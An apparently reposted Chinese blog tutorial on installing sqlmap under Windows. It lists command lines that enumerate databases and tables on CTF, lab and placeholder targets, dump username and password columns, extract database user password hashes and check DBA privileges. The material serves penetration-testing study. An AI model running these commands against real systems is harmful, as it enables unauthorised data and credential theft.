Windows下安装sqlmap及应用

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


Windows下安装sqlmap

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎,具有多种特性的渗透测试器,通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

前提

需要先安装python环境
sqlmap是利用Python语言写的,所以在安装sqlmap前需要将Python这个语言环境给安装上

下载

sqlmap的官网为:http://sqlmap.org/ 进入官网选择点击Download进行下载

安装

下载sqlmap之后解压、将目录重命令为sqlmap,然后将sqlmap复制到Python的安装目录下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

创建快捷方式

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

修改属性

在这里插入图片描述

使用

验证安装成功

打开sqlmap.exe

python sqlmap.py -h

在这里插入图片描述

使用

GET

猜解是否能注入

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 

kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1

查找数据库

win:python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs   # ?id=1 --current-db(当前数据库)

kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs

猜解表(假如通过(2)得到了web1这个数据库)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1  --tables -D web1

kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1

根据猜解的表进行猜解表的字段(假如通过(3)得到了flag这个表)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1

kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1

根据字段猜解内容(假如通过(4)得到字段为username和password)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1

kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1

POST

#爆库
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs

#爆表
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables

#爆数据
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump

sqlmap选择注入类型

technique参数是用来选择sqlmap中的注入技术的,在sqlmap中其支持5中不同模式的注入
我们可以根据不同的报错提示更改—technique后面的字母

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql --dbs --batch 

B:Boolean-based-blind  (布尔型盲注)

E:Error-based   (报错型注入)

U:Union query-based  (联合注入)

S:Starked queries   (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind  (基于时间延迟注入)

--dbms : 不仅可以指定数据库类型,还可以指定数据库版本

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

Sqlmap用户权限

列出数据库管理系统用户

sqlmap -u http://xxx.com/1.php?id=11 --users

查看当前连接数据库用户

sqlmap -u http://xxx.com/1.php?id=11 --current-user

查看数据库用户所有密码

sqlmap -u http://xxx.com/1.php?id=11 --passwords

判断当前用户是否是DBA?

sqlmap -u http://xxx.com/1.php?id=11 --is-dba

查看用户权限

sqlmap -u http://xxx.com/1.php?id=11 --privileges
sqlmap -u http://xxx.com/1.php?id=11 --privileges -U

https://www.jianshu.com/p/a46abd1e67aa

猜你喜欢

转载自blog.csdn.net/weixin_44406011/article/details/132042070
今日推荐